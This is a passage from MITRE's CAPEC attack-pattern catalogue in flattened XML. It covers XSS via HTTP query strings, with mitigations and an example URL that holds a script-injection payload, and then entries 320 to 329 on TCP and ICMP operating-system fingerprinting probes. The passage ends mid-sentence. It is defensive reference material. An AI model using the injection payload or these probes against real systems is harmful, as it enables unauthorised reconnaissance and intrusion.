<xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform input validation for all remote content, including remote and user-generated content</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform output validation for all remote content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Disable scripting languages such as JavaScript in browser</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Session tokens for specific host</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Privileges are constrained, if a script is loaded, ensure system runs in chroot jail or other limited authority mode</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">http://user:host@example.com:8080/oradb&lt;script&gt;alert('Hi')&lt;/script&gt;</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Web applications that accept name value pairs in a HTTP Query string are inherently at risk to any value (or name for that matter) that an adversary would like to enter in the query string. This can be done manually via web browser or trivially scripted to post the query string to multiple sites. In the latter case, in the instance of many sites using similar infrastructure with predictable http queries being accepted and operated on (such as blogging software, Google applications, and so on), a single malicious payload can be scripted to target a wide variety of sites.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Web 2.0 type sites like Technorati and del.icio.us rely on user generated content like tags to build http links that are displayed to other users. del.icio.us allows users to identify sites, tag them with metadata and provide URL, descriptions and more data. This data is then echoed back to any other web browser that is interested in the link. If the data is not validated by the del.icio.us site properly then an arbitrary code can be added into the standard http string sent to del.icio.us by the adversary, for example formatted as normal content with a URL and description and tagged as Java, and available to be clicked on (and executed by) any user browsing for Java content that clicks on this trojaned content.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 80 + + + + + + + + + + + + #indReferenceReference18858 + Reference_18858 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory18860 + Content_History_18860 + + + + + + + + + + + + + + + + #indSubmissionSubmission18861 + Submission_18861 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification18866 + Modification_18866 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification18872 + Modification_18872 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification18878 + Modification_18878 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification18884 + Modification_18884 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Phases, Description Summary, Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indModificationModification18890 + Modification_18890 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification18896 + Modification_18896 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification18902 + Modification_18902 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification18908 + Modification_18908 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification18914 + Modification_18914 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Example_Instances, Execution_Flow + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName18920 + Previous_Entry_Name_18920 + + + + + + + + + 2017-05-01 + + + + + Embedding Scripts in HTTP Query Strings + + + + + + + + + + + + #CAPEC-320 + TCP Timestamp Probe + + + + + + + + + 320 + + + + + TCP Timestamp Probe + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This OS fingerprinting probe examines the remote server's implementation of TCP timestamps. Not all operating systems implement timestamps within the TCP header, but when timestamps are used then this provides the attacker with a means to guess the operating system of the target. The attacker begins by probing any active TCP service in order to get response which contains a TCP timestamp. Different Operating systems update the timestamp value using different intervals. This type of analysis is most accurate when multiple timestamp responses are received and then analyzed. TCP timestamps can be found in the TCP Options field of the TCP header.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern18928 + Related_Attack_Pattern_18928 + + + + + + + + + + + + + + 312 + + + + + + + + + + + + #indAttackStepAttackStep18931 + Attack_Step_18931 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine if timestamps are present.] The adversary sends a probe packet to the remote host to identify if timestamps are present.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep18936 + Attack_Step_18936 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Record and analyze timestamp values.] If the remote host is using timestamp, obtain several timestamps, analyze them and compare them to known values.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary sends several requests and records the timestamp values.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary analyzes the timestamp values and determines an average increments per second in the timestamps for the target.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary compares this result to a database of known TCP timestamp increments for a possible match.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to monitor and interact with network communications.Access to at least one host, and the privileges to interface with the network interface card.The target OS must support the TCP timestamp option in order to obtain a fingerprint.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Any type of active probing that involves non-standard packet headers requires the use of raw sockets, which is not available on particular operating systems (Microsoft Windows XP SP 2, for example). Raw socket manipulation on Unix/Linux requires root privileges.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A tool capable of sending and receiving packets from a remote system.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence18955 + Consequence_18955 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence18959 + Consequence_18959 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indReferenceReference18970 + Reference_18970 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 56 + + + + + + + + + + + + #indReferenceReference18971 + Reference_18971 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference18972 + Reference_18972 + + + + + + + + + REF-212 + + + + + Chapter 8. Remote OS Detection + + + + + + + + + + + + #indContentHistoryContentHistory18974 + Content_History_18974 + + + + + + + + + + + + + + + + #indSubmissionSubmission18975 + Submission_18975 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification18980 + Modification_18980 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description, Related_Attack_Patterns, Resources_Required, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification18986 + Modification_18986 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Phases, Description, Description Summary, Related_Weaknesses + + + + + + + + + + + + #CAPEC-321 + TCP Sequence Number Probe + + + + + + + + + 321 + + + + + TCP Sequence Number Probe + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This OS fingerprinting probe tests the target system's assignment of TCP sequence numbers. One common way to test TCP Sequence Number generation is to send a probe packet to an open port on the target and then compare the how the Sequence Number generated by the target relates to the Acknowledgement Number in the probe packet. Different operating systems assign Sequence Numbers differently, so a fingerprint of the operating system can be obtained by categorizing the relationship between the acknowledgement number and sequence number as follows: 1) the Sequence Number generated by the target is Zero, 2) the Sequence Number generated by the target is the same as the acknowledgement number in the probe, 3) the Sequence Number generated by the target is the acknowledgement number plus one, or 4) the Sequence Number is any other non-zero number.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19000 + Related_Attack_Pattern_19000 + + + + + + + + + + + + + + 312 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to monitor and interact with network communications.Access to at least one host, and the privileges to interface with the network interface card.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A tool capable of sending and receiving packets from a remote system.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence19009 + Consequence_19009 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence19013 + Consequence_19013 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indReferenceReference19025 + Reference_19025 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 55-56 + + + + + + + + + + + + #indReferenceReference19026 + Reference_19026 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference19027 + Reference_19027 + + + + + + + + + REF-212 + + + + + Chapter 8. Remote OS Detection + + + + + + + + + + + + #indContentHistoryContentHistory19029 + Content_History_19029 + + + + + + + + + + + + + + + + #indSubmissionSubmission19030 + Submission_19030 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification19035 + Modification_19035 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Related_Attack_Patterns, Resources_Required, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification19041 + Modification_19041 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description, Description Summary, Related_Weaknesses + + + + + + + + + + + + #CAPEC-322 + TCP (ISN) Greatest Common Divisor Probe + + + + + + + + + 322 + + + + + TCP (ISN) Greatest Common Divisor Probe + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This OS fingerprinting probe sends a number of TCP SYN packets to an open port of a remote machine. The Initial Sequence Number (ISN) in each of the SYN/ACK response packets is analyzed to determine the smallest number that the target host uses when incrementing sequence numbers. This information can be useful for identifying an operating system because particular operating systems and versions increment sequence numbers using different values. The result of the analysis is then compared against a database of OS behaviors to determine the OS type and/or version.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19055 + Related_Attack_Pattern_19055 + + + + + + + + + + + + + + 312 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to monitor and interact with network communications.Access to at least one host, and the privileges to interface with the network interface card.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A tool capable of sending and receiving packets from a remote system.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence19064 + Consequence_19064 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence19068 + Consequence_19068 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indReferenceReference19080 + Reference_19080 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 56 + + + + + + + + + + + + #indReferenceReference19081 + Reference_19081 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference19082 + Reference_19082 + + + + + + + + + REF-212 + + + + + Chapter 8. Remote OS Detection + + + + + + + + + + + + #indContentHistoryContentHistory19084 + Content_History_19084 + + + + + + + + + + + + + + + + #indSubmissionSubmission19085 + Submission_19085 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification19090 + Modification_19090 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Related_Attack_Patterns, Resources_Required, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification19096 + Modification_19096 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-323 + TCP (ISN) Counter Rate Probe + + + + + + + + + 323 + + + + + TCP (ISN) Counter Rate Probe + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This OS detection probe measures the average rate of initial sequence number increments during a period of time. Sequence numbers are incremented using a time-based algorithm and are susceptible to a timing analysis that can determine the number of increments per unit time. The result of this analysis is then compared against a database of operating systems and versions to determine likely operation system matches.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19110 + Related_Attack_Pattern_19110 + + + + + + + + + + + + + + 312 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to monitor and interact with network communications.Access to at least one host, and the privileges to interface with the network interface card.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Any type of active probing that involves non-standard packet headers requires the use of raw sockets, which is not available on particular operating systems (Microsoft Windows XP SP 2, for example). Raw socket manipulation on Unix/Linux requires root privileges.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A tool capable of sending and receiving packets from a remote system.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence19122 + Consequence_19122 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence19126 + Consequence_19126 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indReferenceReference19138 + Reference_19138 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 56 + + + + + + + + + + + + #indReferenceReference19139 + Reference_19139 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference19140 + Reference_19140 + + + + + + + + + REF-212 + + + + + Chapter 8. Remote OS Detection + + + + + + + + + + + + #indContentHistoryContentHistory19142 + Content_History_19142 + + + + + + + + + + + + + + + + #indSubmissionSubmission19143 + Submission_19143 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification19148 + Modification_19148 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Related_Attack_Patterns, Resources_Required, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification19154 + Modification_19154 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-324 + TCP (ISN) Sequence Predictability Probe + + + + + + + + + 324 + + + + + TCP (ISN) Sequence Predictability Probe + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This type of operating system probe attempts to determine an estimate for how predictable the sequence number generation algorithm is for a remote host. Statistical techniques, such as standard deviation, can be used to determine how predictable the sequence number generation is for a system. This result can then be compared to a database of operating system behaviors to determine a likely match for operating system and version.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19168 + Related_Attack_Pattern_19168 + + + + + + + + + + + + + + 312 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to monitor and interact with network communications.Access to at least one host, and the privileges to interface with the network interface card.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A tool capable of sending and receiving packets from a remote system.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence19177 + Consequence_19177 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence19181 + Consequence_19181 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indReferenceReference19193 + Reference_19193 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 56 + + + + + + + + + + + + #indReferenceReference19194 + Reference_19194 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference19195 + Reference_19195 + + + + + + + + + REF-212 + + + + + Chapter 8. Remote OS Detection + + + + + + + + + + + + #indReferenceReference19196 + Reference_19196 + + + + + + + + + REF-130 + + + + + + + + + + + + #indContentHistoryContentHistory19198 + Content_History_19198 + + + + + + + + + + + + + + + + #indSubmissionSubmission19199 + Submission_19199 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification19204 + Modification_19204 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Related_Attack_Patterns, Resources_Required, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification19210 + Modification_19210 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References, Related_Weaknesses + + + + + + + + + + + + #CAPEC-325 + TCP Congestion Control Flag (ECN) Probe + + + + + + + + + 325 + + + + + TCP Congestion Control Flag (ECN) Probe + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This OS fingerprinting probe checks to see if the remote host supports explicit congestion notification (ECN) messaging. ECN messaging was designed to allow routers to notify a remote host when signal congestion problems are occurring. Explicit Congestion Notification messaging is defined by RFC 3168. Different operating systems and versions may or may not implement ECN notifications, or may respond uniquely to particular ECN flag types.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19224 + Related_Attack_Pattern_19224 + + + + + + + + + + + + + + 312 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to monitor and interact with network communications.Access to at least one host, and the privileges to interface with the network interface card.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A tool capable of sending and receiving packets from a remote system.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence19233 + Consequence_19233 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence19237 + Consequence_19237 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indReferenceReference19249 + Reference_19249 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 56 + + + + + + + + + + + + #indReferenceReference19250 + Reference_19250 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference19251 + Reference_19251 + + + + + + + + + REF-212 + + + + + Chapter 8. Remote OS Detection + + + + + + + + + + + + #indContentHistoryContentHistory19253 + Content_History_19253 + + + + + + + + + + + + + + + + #indSubmissionSubmission19254 + Submission_19254 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification19259 + Modification_19259 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Related_Attack_Patterns, Resources_Required, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification19265 + Modification_19265 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-326 + TCP Initial Window Size Probe + + + + + + + + + 326 + + + + + TCP Initial Window Size Probe + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This OS fingerprinting probe checks the initial TCP Window size. TCP stacks limit the range of sequence numbers allowable within a session to maintain the "connected" state within TCP protocol logic. The initial window size specifies a range of acceptable sequence numbers that will qualify as a response to an ACK packet within a session. Various operating systems use different Initial window sizes. The initial window size can be sampled by establishing an ordinary TCP connection.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19279 + Related_Attack_Pattern_19279 + + + + + + + + + + + + + + 312 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to monitor and interact with network communications.Access to at least one host, and the privileges to interface with the network interface card.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A tool capable of sending and receiving packets from a remote system.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence19288 + Consequence_19288 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence19292 + Consequence_19292 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indReferenceReference19304 + Reference_19304 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 56 + + + + + + + + + + + + #indReferenceReference19305 + Reference_19305 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference19306 + Reference_19306 + + + + + + + + + REF-212 + + + + + Chapter 8. Remote OS Detection + + + + + + + + + + + + #indContentHistoryContentHistory19308 + Content_History_19308 + + + + + + + + + + + + + + + + #indSubmissionSubmission19309 + Submission_19309 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification19314 + Modification_19314 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Related_Attack_Patterns, Resources_Required, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification19320 + Modification_19320 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-327 + TCP Options Probe + + + + + + + + + 327 + + + + + TCP Options Probe + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This OS fingerprinting probe analyzes the type and order of any TCP header options present within a response segment. Most operating systems use unique ordering and different option sets when options are present. RFC 793 does not specify a required order when options are present, so different implementations use unique ways of ordering or structuring TCP options. TCP options can be generated by ordinary TCP traffic.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19333 + Related_Attack_Pattern_19333 + + + + + + + + + + + + + + 312 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to monitor and interact with network communications.Access to at least one host, and the privileges to interface with the network interface card.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A tool capable of sending and receiving packets from a remote system.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence19342 + Consequence_19342 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence19346 + Consequence_19346 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indReferenceReference19358 + Reference_19358 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 56 + + + + + + + + + + + + #indReferenceReference19359 + Reference_19359 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference19360 + Reference_19360 + + + + + + + + + REF-212 + + + + + Chapter 8. Remote OS Detection + + + + + + + + + + + + #indContentHistoryContentHistory19362 + Content_History_19362 + + + + + + + + + + + + + + + + #indSubmissionSubmission19363 + Submission_19363 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification19368 + Modification_19368 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Related_Attack_Patterns, Resources_Required, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification19374 + Modification_19374 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-328 + TCP 'RST' Flag Checksum Probe + + + + + + + + + 328 + + + + + TCP 'RST' Flag Checksum Probe + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This OS fingerprinting probe performs a checksum on any ASCII data contained within the data portion or a RST packet. Some operating systems will report a human-readable text message in the payload of a 'RST' (reset) packet when specific types of connection errors occur. RFC 1122 allows text payloads within reset packets but not all operating systems or routers implement this functionality.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19388 + Related_Attack_Pattern_19388 + + + + + + + + + + + + + + 312 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to monitor and interact with network communications.Access to at least one host, and the privileges to interface with the network interface card.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A tool capable of sending and receiving packets from a remote system.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence19397 + Consequence_19397 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence19401 + Consequence_19401 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indReferenceReference19413 + Reference_19413 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 56 + + + + + + + + + + + + #indReferenceReference19414 + Reference_19414 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference19415 + Reference_19415 + + + + + + + + + REF-212 + + + + + Chapter 8. Remote OS Detection + + + + + + + + + + + + #indContentHistoryContentHistory19417 + Content_History_19417 + + + + + + + + + + + + + + + + #indSubmissionSubmission19418 + Submission_19418 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification19423 + Modification_19423 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Related_Attack_Patterns, Resources_Required, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification19429 + Modification_19429 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-329 + ICMP Error Message Quoting Probe + + + + + + + + + 329 + + + + + ICMP Error Message Quoting Probe + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses a technique to generate an ICMP Error message (Port Unreachable, Destination Unreachable, Redirect, Source Quench, Time Exceeded, Parameter Problem) from a target and then analyze the amount of data returned or "Quoted" from the originating request that generated the ICMP error message.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;For this purpose "Port Unreachable" error messages are often used, as generating them requires the adversary to send a UDP datagram to a closed port on the target. The goal of this analysis to make inferences about the type of operating system or firmware that sent the error message in reply.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This is useful for identifying unique characteristics of operating systems because the RFC-1122 expected behavior reads: "Every ICMP error message includes the Internet header and at least the first 8 data octets of the datagram that triggered the error; more than 8 octets MAY be sent [...]." This contrasts with RFC-792 expected behavior, which limited the quoted text to 64 bits (8 octets). Given the latitude in the specification the resulting RFC-1122 stack implementations often respond with a high degree of variability in the amount of data quoted in the error message because "older" or "legacy" stacks may comply with the RFC-792 specification, while other stacks may choose a longer format in accordance with RFC-1122. As a general rule most operating systems 